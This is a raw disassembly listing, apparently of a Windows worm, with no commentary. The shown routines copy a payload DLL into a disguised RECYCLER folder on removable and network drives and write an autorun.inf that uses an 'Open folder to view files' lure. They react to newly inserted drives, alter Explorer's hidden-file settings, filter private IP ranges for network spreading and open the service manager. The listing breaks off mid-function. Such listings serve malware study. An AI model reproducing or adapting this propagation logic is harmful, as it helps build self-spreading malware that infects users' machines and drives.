var_58		= byte ptr -58h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
FileSystemFlags	= dword	ptr -2Ch
Str1		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
hMem		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	7A0h
		push	offset stru_9A4328
		call	__SEH_prolog
		mov	edi, [ebp+arg_0]
		mov	[ebp+hMem], edi
		xor	esi, esi
		mov	[ebp+ms_exc.disabled], esi
		mov	[ebp+var_40], esi
		mov	[ebp+FileSystemFlags], esi
		call	sub_9AD417
		push	esi		; nFileSystemNameSize
		push	esi		; lpFileSystemNameBuffer
		lea	eax, [ebp+FileSystemFlags]
		push	eax		; lpFileSystemFlags
		push	esi		; lpMaximumComponentLength
		push	esi		; lpVolumeSerialNumber
		push	esi		; nVolumeNameSize
		push	esi		; lpVolumeNameBuffer
		push	dword ptr [edi+4] ; lpRootPathName
		call	GetVolumeInformationA
		test	eax, eax
		jz	loc_9ABFB1
		test	byte ptr [ebp+FileSystemFlags+2], 8
		jnz	loc_9ABFB1
		push	80012F5h	; Seed
		call	srand
		mov	esi, rand
		call	esi ; rand
		cdq
		push	4
		pop	ecx
		idiv	ecx
		add	edx, 5
		push	edx
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_9AC642
		add	esp, 0Ch


loc_9ABC12:				; CODE XREF: sub_9ABB9F+99j
		call	esi ; rand
		cdq
		push	3
		pop	ecx
		idiv	ecx
		inc	edx
		push	edx
		lea	eax, [ebp+Str1]
		push	eax
		call	sub_9AC642
		push	offset aDll_0	; "dll"
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	strcmp
		add	esp, 10h
		test	eax, eax
		jz	short loc_9ABC12
		call	esi ; rand
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	loc_9ABCFE
		mov	edi, 104h
		push	edi		; Count
		push	offset aRecycler ; "RECYCLER"
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	strncpy
		add	esp, 0Ch
		mov	[ebp+var_365], 0
		call	esi ; rand
		cdq
		mov	ebx, 2710h
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		push	64h
		pop	ecx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		push	64h
		pop	ecx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		idiv	ebx
		push	edx
		call	esi ; rand
		cdq
		push	64h
		pop	ecx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		call	esi ; rand
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		push	offset aSDDDDDDDDDDDDD ; "S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d"
		push	edi		; Count
		lea	eax, [ebp+var_260]
		push	eax		; Dest
		mov	ebx, _snprintf
		call	ebx ; _snprintf
		add	esp, 40h
		mov	[ebp+var_15D], 0
		jmp	short loc_9ABD3C
; ---------------------------------------------------------------------------


loc_9ABCFE:				; CODE XREF: sub_9ABB9F+A5j
		call	esi ; rand
		cdq
		push	14h
		pop	ecx
		idiv	ecx
		add	edx, 5
		push	edx
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_9AC642
		call	esi ; rand
		cdq
		push	1Eh
		pop	ecx
		idiv	ecx
		add	edx, 0Ah
		push	edx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_9AC642
		add	esp, 10h
		mov	edi, 104h
		mov	ebx, _snprintf


loc_9ABD3C:				; CODE XREF: sub_9ABB9F+15Dj
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		mov	eax, [ebp+hMem]
		push	dword ptr [eax+4]
		push	offset aSSSS_S	; "%s%s\\%s\\%s.%s"
		push	edi		; Count
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ebx ; _snprintf
		add	esp, 20h
		mov	[ebp+var_59], 0
		mov	[ebp+var_20], 1
		and	[ebp+var_30], 0
		lea	eax, [ebp+FindFileData]
		push	eax		; lpFindFileData
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	FindFirstFileA
		mov	[ebp+var_24], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9ABD9C
		push	eax		; hFindFile
		call	FindClose


loc_9ABD9C:				; CODE XREF: sub_9ABB9F+1F4j
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_9ABDAF
		cmp	[ebp+FindFileData.nFileSizeLow], 0
		jnz	loc_9ABED4


loc_9ABDAF:				; CODE XREF: sub_9ABB9F+201j
		lea	eax, [ebp+Dest]
		push	eax
		mov	eax, [ebp+hMem]
		push	dword ptr [eax+4]
		push	offset aSS_0	; "%s%s"
		push	edi		; Count
		lea	eax, [ebp+PathName]
		push	eax		; Dest
		call	ebx ; _snprintf
		mov	[ebp+var_261], 0
		push	1F01FFh		; int
		lea	eax, [ebp+PathName]
		push	eax		; lpFileName
		call	sub_9AD15E
		add	esp, 1Ch
		push	0		; lpSecurityAttributes
		lea	eax, [ebp+PathName]
		push	eax		; lpPathName
		call	CreateDirectoryA
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	short loc_9ABE0D
		call	GetLastError
		cmp	eax, 0B7h
		jnz	loc_9ABED4


loc_9ABE0D:				; CODE XREF: sub_9ABB9F+25Bj
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+PathName]
		push	eax
		push	offset aSS_1	; "%s\\%s"
		push	edi		; Count
		lea	eax, [ebp+var_56C]
		push	eax		; Dest
		call	ebx ; _snprintf
		mov	[ebp+var_469], 0
		push	1F01FFh		; int
		lea	eax, [ebp+var_56C]
		push	eax		; lpFileName
		call	sub_9AD15E
		add	esp, 1Ch
		push	0		; lpSecurityAttributes
		lea	eax, [ebp+var_56C]
		push	eax		; lpPathName
		call	CreateDirectoryA
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	short loc_9ABE68
		call	GetLastError
		cmp	eax, 0B7h
		jnz	short loc_9ABEC4


loc_9ABE68:				; CODE XREF: sub_9ABB9F+2BAj
		push	1F01FFh		; int
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	sub_9AD15E
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		push	nNumberOfBytesToWrite ;	nNumberOfBytesToWrite
		push	lpBuffer	; lpBuffer
		call	sub_9AC7F0
		add	esp, 14h
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_9ABEC4
		push	1200A9h		; int
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	sub_9AD15E
		push	21h		; int
		lea	eax, [ebp+var_56C]
		push	eax		; lpFileName
		call	sub_9AD15E
		add	esp, 10h
		mov	[ebp+var_30], 1


loc_9ABEC4:				; CODE XREF: sub_9ABB9F+2C7j
					; sub_9ABB9F+2FAj
		push	0		; int
		lea	eax, [ebp+PathName]
		push	eax		; lpFileName
		call	sub_9AD12D
		pop	ecx
		pop	ecx


loc_9ABED4:				; CODE XREF: sub_9ABB9F+20Aj
					; sub_9ABB9F+268j
		cmp	[ebp+var_20], 0
		jz	loc_9ABFB1
		mov	eax, [ebp+hMem]
		push	dword ptr [eax+4]
		push	offset aSautorun_inf ; "%sautorun.inf"
		push	edi		; Count
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ebx ; _snprintf
		add	esp, 10h
		mov	[ebp+var_59], 0
		lea	eax, [ebp+FindFileData]
		push	eax		; lpFindFileData
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	FindFirstFileA
		mov	[ebp+var_24], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9ABF1D
		push	eax		; hFindFile
		call	FindClose


loc_9ABF1D:				; CODE XREF: sub_9ABB9F+375j
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_9ABF35
		cmp	[ebp+FindFileData.nFileSizeLow], 1000h
		jb	short loc_9ABF35
		cmp	[ebp+var_30], 0
		jz	short loc_9ABFB1


loc_9ABF35:				; CODE XREF: sub_9ABB9F+382j
					; sub_9ABB9F+38Ej ...
		call	esi ; rand
		cdq
		push	14h
		pop	ecx
		idiv	ecx
		inc	edx
		push	edx
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_9AC642
		push	offset aMarnwkcw ; "marnwkcw"
		lea	eax, [ebp+var_58]
		push	eax		; Str1
		call	strcmp
		add	esp, 10h
		test	eax, eax
		jz	short loc_9ABF35
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	offset a_SSS_SS	; ".\\%s\\%s\\%s.%s,%s"
		push	edi		; Count
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	ebx ; _snprintf
		mov	[ebp+var_6AD], 0
		mov	eax, [ebp+hMem]
		push	dword ptr [eax]	; int
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	sub_9ABA9B
		add	esp, 2Ch
		jmp	short loc_9ABFB1
; ---------------------------------------------------------------------------


loc_9ABFAA:				; DATA XREF: .text:stru_9A4328o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9ABFAE:				; DATA XREF: .text:stru_9A4328o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9ABFB1:				; CODE XREF: sub_9ABB9F+3Aj
					; sub_9ABB9F+44j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+hMem]
		push	dword ptr [esi+4] ; Memory
		call	free
		pop	ecx
		push	esi		; hMem
		call	GlobalFree
		xor	eax, eax
		call	__SEH_epilog
		retn	4
sub_9ABB9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9ABFD3(const CHAR Src)

sub_9ABFD3	proc near		; CODE XREF: sub_9AC078+12p

ThreadId	= dword	ptr -4
Src		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+Src], 8000h
		jnz	locret_9AC076
		cmp	dword ptr [eax+4], 2
		jnz	locret_9AC076
		mov	ecx, [eax+0Ch]
		xor	al, al


loc_9ABFF3:				; CODE XREF: sub_9ABFD3+2Bj
		test	cl, 1
		jnz	short loc_9AC000
		shr	ecx, 1
		inc	al
		cmp	al, 1Ah
		jl	short loc_9ABFF3


loc_9AC000:				; CODE XREF: sub_9ABFD3+23j
		cmp	al, 1
		jle	short locret_9AC076
		add	al, 41h
		mov	[ebp+Src], al
		push	edi
		lea	eax, [ebp+Src]
		push	eax		; lpRootPathName
		mov	byte ptr [ebp+9], 3Ah
		mov	byte ptr [ebp+0Ah], 5Ch
		mov	byte ptr [ebp+0Bh], 0
		call	GetDriveTypeA
		mov	edi, eax
		cmp	edi, 2
		jz	short loc_9AC036
		cmp	edi, 3
		jz	short loc_9AC036
		cmp	edi, 4
		jz	short loc_9AC036
		cmp	edi, 5
		jnz	short loc_9AC075


loc_9AC036:				; CODE XREF: sub_9ABFD3+52j
					; sub_9ABFD3+57j ...
		push	esi
		push	8		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_9AC074
		lea	eax, [ebp+Src]
		push	eax		; Src
		mov	[esi], edi
		call	_strdup
		pop	ecx
		mov	[esi+4], eax
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		push	esi		; lpParameter
		push	offset sub_9ABB9F ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle


loc_9AC074:				; CODE XREF: sub_9ABFD3+72j
		pop	esi


loc_9AC075:				; CODE XREF: sub_9ABFD3+61j
		pop	edi

locret_9AC076:				; CODE XREF: sub_9ABFD3+Bj
					; sub_9ABFD3+15j ...
		leave
		retn
sub_9ABFD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9AC078(int,int,CHAR	Src,int)

sub_9AC078	proc near		; DATA XREF: sub_9AC09E+1Eo

arg_4		= dword	ptr  0Ch
Src		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 219h
		jnz	short loc_9AC097
		push	dword ptr [ebp+Src] ; Src
		mov	eax, [ebp+arg_C]
		call	sub_9ABFD3
		xor	eax, eax
		pop	ecx
		inc	eax
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_9AC097:				; CODE XREF: sub_9AC078+Aj
		pop	ebp
		jmp	DefWindowProcA
sub_9AC078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AC09E(LPVOID)

sub_9AC09E	proc near		; DATA XREF: sub_9AC2BE+6Fo

Dst		= byte ptr -58h
var_54		= dword	ptr -54h
hInstance	= dword	ptr -48h
var_34		= dword	ptr -34h
Msg		= MSG ptr -30h
ClassName	= byte ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		call	sub_9AC50B
		push	28h		; Size
		xor	esi, esi
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		push	esi		; lpModuleName
		mov	[ebp+var_54], offset sub_9AC078
		call	GetModuleHandleA
		mov	[ebp+hInstance], eax
		call	rand
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+ClassName]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9AC642
		pop	ecx
		lea	eax, [ebp+ClassName]
		mov	[ebp+var_34], eax
		pop	ecx
		lea	eax, [ebp+Dst]
		push	eax		; lpWndClass
		call	RegisterClassA
		push	esi		; lpParam
		push	[ebp+hInstance]	; hInstance
		mov	eax, 80000000h
		push	esi		; hMenu
		push	esi		; hWndParent
		push	eax		; nHeight
		push	eax		; nWidth
		push	eax		; Y
		push	eax		; X
		push	esi		; dwStyle
		push	offset WindowName ; "recv"
		lea	eax, [ebp+ClassName]
		push	eax		; lpClassName
		push	esi		; dwExStyle
		call	CreateWindowExA
		test	eax, eax
		jz	short loc_9AC14A
		push	edi
		mov	edi, GetMessageA
		jmp	short loc_9AC13C
; ---------------------------------------------------------------------------


loc_9AC123:				; CODE XREF: sub_9AC09E+A9j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9AC149
		lea	eax, [ebp+Msg]
		push	eax		; lpMsg
		call	TranslateMessage
		lea	eax, [ebp+Msg]
		push	eax		; lpMsg
		call	DispatchMessageA


loc_9AC13C:				; CODE XREF: sub_9AC09E+83j
		push	esi		; wMsgFilterMax
		push	esi		; wMsgFilterMin
		lea	eax, [ebp+Msg]
		push	esi		; hWnd
		push	eax		; lpMsg
		call	edi ; GetMessageA
		cmp	eax, esi
		jnz	short loc_9AC123


loc_9AC149:				; CODE XREF: sub_9AC09E+88j
		pop	edi


loc_9AC14A:				; CODE XREF: sub_9AC09E+7Aj
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_9AC09E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AC151(LPVOID)

sub_9AC151	proc near		; DATA XREF: sub_9AC2BE+57o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, Sleep
		mov	ebx, 1388h
		push	ebx		; dwMilliseconds
		call	edi ; Sleep
		call	GetLogicalDrives
		mov	[ebp+var_C], eax
		mov	[ebp+var_1], 0


loc_9AC175:				; CODE XREF: sub_9AC151+91j
		test	byte ptr [ebp+var_C], 1
		jz	short loc_9AC1D8
		cmp	[ebp+var_1], 1
		jle	short loc_9AC1D8
		mov	al, [ebp+var_1]
		add	al, 41h
		mov	[ebp+Src], al
		lea	eax, [ebp+Src]
		push	eax		; lpRootPathName
		mov	[ebp+var_7], 3Ah
		mov	[ebp+var_6], 5Ch
		mov	[ebp+var_5], 0
		call	GetDriveTypeA
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	short loc_9AC1AC
		cmp	eax, 4
		jnz	short loc_9AC1D8


loc_9AC1AC:				; CODE XREF: sub_9AC151+54j
		push	8		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_9AC1D8
		mov	eax, [ebp+var_10]
		mov	[esi], eax
		lea	eax, [ebp+Src]
		push	eax		; Src
		call	_strdup
		pop	ecx
		push	esi		; LPVOID
		mov	[esi+4], eax
		call	sub_9ABB9F
		push	ebx		; dwMilliseconds
		call	edi ; Sleep


loc_9AC1D8:				; CODE XREF: sub_9AC151+28j
					; sub_9AC151+2Ej ...
		shr	[ebp+var_C], 1
		inc	[ebp+var_1]
		cmp	[ebp+var_1], 1Ah
		jl	short loc_9AC175
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_9AC151	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AC1ED	proc near		; CODE XREF: sub_9A798D+190p

CommandLine	= byte ptr -228h
var_125		= byte ptr -125h
Dest		= byte ptr -124h
var_21		= byte ptr -21h
Dst		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx		; Data
		push	offset aCheckedvalue ; "CheckedValue"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h	; hKey
		call	sub_9AD0F4
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		add	esp, 1Ch
		push	1		; bSet
		push	40021h		; dwMask
		lea	eax, [ebp+Dst]
		push	eax		; lpss
		call	SHGetSetSettings
		mov	esi, 104h
		push	esi		; Count
		lea	eax, [ebp+Dest]
		push	offset FileName	; "c:\\c.dll"
		push	eax		; Dest
		call	strncpy
		add	esp, 0Ch
		mov	[ebp+var_21], bl
		xor	edi, edi


loc_9AC250:				; CODE XREF: sub_9AC1ED+7Ej
		lea	eax, [ebp+Dest]
		push	5Ch		; Ch
		push	eax		; Str
		call	strrchr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9AC26D
		inc	edi
		cmp	edi, 3
		mov	[eax], bl
		jl	short loc_9AC250


loc_9AC26D:				; CODE XREF: sub_9AC1ED+76j
		cmp	[ebp+Dest], bl
		jnz	short loc_9AC288
		lea	eax, [ebp+Dest]
		push	offset a__0	; "."
		push	eax		; Dest
		call	strcpy
		pop	ecx
		pop	ecx


loc_9AC288:				; CODE XREF: sub_9AC1ED+86j
		lea	eax, [ebp+Dest]
		push	eax
		push	offset aExplorerS ; "explorer %s"
		lea	eax, [ebp+CommandLine]
		push	esi		; Count
		push	eax		; Dest
		call	_snprintf
		lea	eax, [ebp+CommandLine]
		push	1		; int
		push	eax		; lpCommandLine
		mov	[ebp+var_125], bl
		call	sub_9AD3A7
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AC1ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AC2BE	proc near		; CODE XREF: StartAddress:loc_9A793Bp

ThreadId	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset aShell32_dll ; "shell32.dll"
		call	GetModuleHandleA
		xor	ebx, ebx
		cmp	eax, ebx
		mov	esi, offset Buffer
		jz	short loc_9AC2FC
		push	100h		; cchBufferMax
		push	esi		; lpBuffer
		push	4302h		; uID
		push	eax		; hInstance
		call	LoadStringA
		test	eax, eax
		jz	short loc_9AC2FC
		push	esi		; Str
		call	strlen
		test	eax, eax
		pop	ecx
		jnz	short loc_9AC309


loc_9AC2FC:				; CODE XREF: sub_9AC2BE+1Bj
					; sub_9AC2BE+31j
		push	offset aOpenFolderToVi ; "Open folder to view files"
		push	esi		; Dest
		call	strcpy
		pop	ecx
		pop	ecx


loc_9AC309:				; CODE XREF: sub_9AC2BE+3Cj
		mov	esi, CreateThread
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	ebx		; dwCreationFlags
		push	ebx		; lpParameter
		push	offset sub_9AC151 ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		call	esi ; CreateThread
		mov	edi, CloseHandle
		push	eax		; hObject
		call	edi ; CloseHandle
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	ebx		; dwCreationFlags
		push	ebx		; lpParameter
		push	offset sub_9AC09E ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		call	esi ; CreateThread
		push	eax		; hObject
		call	edi ; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AC2BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AC33E	proc near		; CODE XREF: sub_9AA064:loc_9AA0B2p
					; sub_9AFC25+24p

RootPathName	= byte ptr -108h
var_105		= byte ptr -105h
VolumeSerialNumber= dword ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h		; uSize
		lea	eax, [ebp+RootPathName]
		push	eax		; lpBuffer
		mov	[ebp+VolumeSerialNumber], 12345678h
		call	GetSystemDirectoryA
		xor	eax, eax
		push	eax		; nFileSystemNameSize
		push	eax		; lpFileSystemNameBuffer
		push	eax		; lpFileSystemFlags
		push	eax		; lpMaximumComponentLength
		lea	ecx, [ebp+VolumeSerialNumber]
		push	ecx		; lpVolumeSerialNumber
		push	eax		; nVolumeNameSize
		push	eax		; lpVolumeNameBuffer
		mov	[ebp+var_105], al
		lea	eax, [ebp+RootPathName]
		push	eax		; lpRootPathName
		call	GetVolumeInformationA
		mov	eax, [ebp+VolumeSerialNumber]
		leave
		retn
sub_9AC33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AC384	proc near		; CODE XREF: sub_9A9DA6+7p
					; sub_9AD6D4+D6p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	edx, ecx
		and	edx, 0FFFFh
		inc	eax
		cmp	edx, 0A8C0h
		jz	short loc_9AC3AE
		cmp	cl, 0Ah
		jz	short loc_9AC3AE
		and	ecx, 0F0FFh
		cmp	ecx, 10ACh
		jnz	short locret_9AC3B0


loc_9AC3AE:				; CODE XREF: sub_9AC384+15j
					; sub_9AC384+1Aj
		xor	eax, eax

locret_9AC3B0:				; CODE XREF: sub_9AC384+28j
		retn
sub_9AC384	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AC3B1	proc near		; CODE XREF: sub_9AC416+A4p
					; sub_9AD6D4+C9p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		and	ecx, 0FFh
		xor	eax, eax
		cmp	ecx, 7Fh
		jz	short loc_9AC414
		test	ecx, ecx
		jz	short loc_9AC414
		mov	ecx, esi
		and	ecx, 0FFFFh
		cmp	ecx, 0FEA9h
		jz	short loc_9AC414
		mov	ecx, esi
		and	ecx, 0FEFFh
		cmp	ecx, 12C6h
		jz	short loc_9AC414
		mov	ecx, esi
		and	ecx, 0FFFFFFh
		cmp	ecx, 0FFFFFDh
		jz	short loc_9AC414
		mov	ecx, esi
		mov	edx, 0F0h
		and	ecx, edx
		cmp	ecx, 0E0h
		jz	short loc_9AC414
		cmp	ecx, edx
		jz	short loc_9AC414
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9AC414
		inc	eax


loc_9AC414:				; CODE XREF: sub_9AC3B1+12j
					; sub_9AC3B1+16j ...
		pop	esi
		retn
sub_9AC3B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC416(void *Dst,int)

sub_9AC416	proc near		; CODE XREF: sub_9ADBF1+62p
					; sub_9ADBF1+3ACp

vOutBuffer	= byte ptr -4C14h
s		= dword	ptr -14h
var_10		= dword	ptr -10h
cbBytesReturned	= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 4C14h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, [ebp+Dst]
		push	edi
		mov	edi, [ebp+arg_4]
		lea	eax, [edi+edi*2]
		shl	eax, 2
		push	eax		; Size
		xor	ebx, ebx
		push	ebx		; Val
		push	esi		; Dst
		mov	[ebp+var_4], ebx
		call	memset
		add	esp, 0Ch
		push	ebx		; protocol
		push	1		; type
		push	2		; af
		call	socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+s], eax
		jz	loc_9AC503
		push	ebx		; lpCompletionRoutine
		push	ebx		; lpOverlapped
		lea	ecx, [ebp+cbBytesReturned]
		push	ecx		; lpcbBytesReturned
		push	4C00h		; cbOutBuffer
		lea	ecx, [ebp+vOutBuffer]
		push	ecx		; lpvOutBuffer
		push	ebx		; cbInBuffer
		push	ebx		; lpvInBuffer
		push	4004747Fh	; dwIoControlCode
		push	eax		; s
		call	WSAIoctl
		test	eax, eax
		jnz	short loc_9AC4FA
		mov	eax, [ebp+cbBytesReturned]
		push	4Ch
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	[ebp+var_8], ebx
		cmp	eax, ebx
		mov	[ebp+cbBytesReturned], eax
		jbe	short loc_9AC4FA
		lea	ebx, [ebp+vOutBuffer]
		add	esi, 8
		jmp	short loc_9AC49F
; ---------------------------------------------------------------------------


loc_9AC49C:				; CODE XREF: sub_9AC416+E2j
		mov	edi, [ebp+arg_4]


loc_9AC49F:				; CODE XREF: sub_9AC416+84j
		cmp	[ebp+var_4], edi
		jnb	short loc_9AC4FA
		mov	eax, [ebx+8]
		mov	edi, [ebx+38h]
		and	edi, eax
		mov	[ebp+var_10], eax
		mov	eax, [ebx]
		test	al, 1
		jz	short loc_9AC4EC
		test	al, 4
		jnz	short loc_9AC4EC
		push	edi
		call	sub_9AC3B1
		test	eax, eax
		pop	ecx
		jz	short loc_9AC4EC
		cmp	[ebp+var_10], 0
		jz	short loc_9AC4EC
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_9AC4EC
		push	dword ptr [ebx+38h] ; netlong
		call	__imp_ntohl
		mov	ecx, [ebp+var_10]
		inc	[ebp+var_4]
		not	eax
		mov	[esi-8], ecx
		mov	[esi-4], edi
		mov	[esi], eax
		add	esi, 0Ch


loc_9AC4EC:				; CODE XREF: sub_9AC416+9Dj
					; sub_9AC416+A1j ...
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		add	ebx, 4Ch
		cmp	eax, [ebp+cbBytesReturned]
		jb	short loc_9AC49C


loc_9AC4FA:				; CODE XREF: sub_9AC416+65j
					; sub_9AC416+79j ...
		push	[ebp+s]		; s
		call	closesocket


loc_9AC503:				; CODE XREF: sub_9AC416+3Dj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AC416	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AC50B	proc near		; CODE XREF: sub_9A752A+36p
					; StartAddress+15p ...

PerformanceCount= LARGE_INTEGER	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		call	GetCurrentThreadId
		mov	esi, eax
		call	GetCurrentProcessId
		mov	edi, eax
		lea	eax, [ebp+PerformanceCount]
		push	eax		; lpPerformanceCount
		call	QueryPerformanceCounter
		test	eax, eax
		jnz	short loc_9AC53A
		and	dword ptr [ebp+PerformanceCount+4], eax
		mov	dword ptr [ebp+PerformanceCount], 4362AEB0h


loc_9AC53A:				; CODE XREF: sub_9AC50B+23j
		call	GetTickCount
		xor	eax, dword ptr [ebp+PerformanceCount]
		xor	eax, edi
		xor	eax, esi
		push	eax		; Seed
		call	srand
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_9AC50B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AC553(LPCSTR	lpServiceName)

sub_9AC553	proc near		; CODE XREF: StartAddress+160p
					; StartAddress+16Cp

hSCObject	= dword	ptr -20h
ServiceStatus	= _SERVICE_STATUS ptr -1Ch
lpServiceName	= dword	ptr  4

		sub	esp, 20h
		push	ebp
		push	edi
		push	0F003Fh		; dwDesiredAccess
		xor	edi, edi
		push	edi		; lpDatabaseName
		push	edi		; lpMachineName
		xor	ebp, ebp
		call	OpenSCManagerA
		cmp	eax, edi
		mov	[esp+28h+hSCObject], eax
		jz	short loc_9AC5CF
		push	ebx
		push	esi
		push	20022h		; dwDesiredAccess
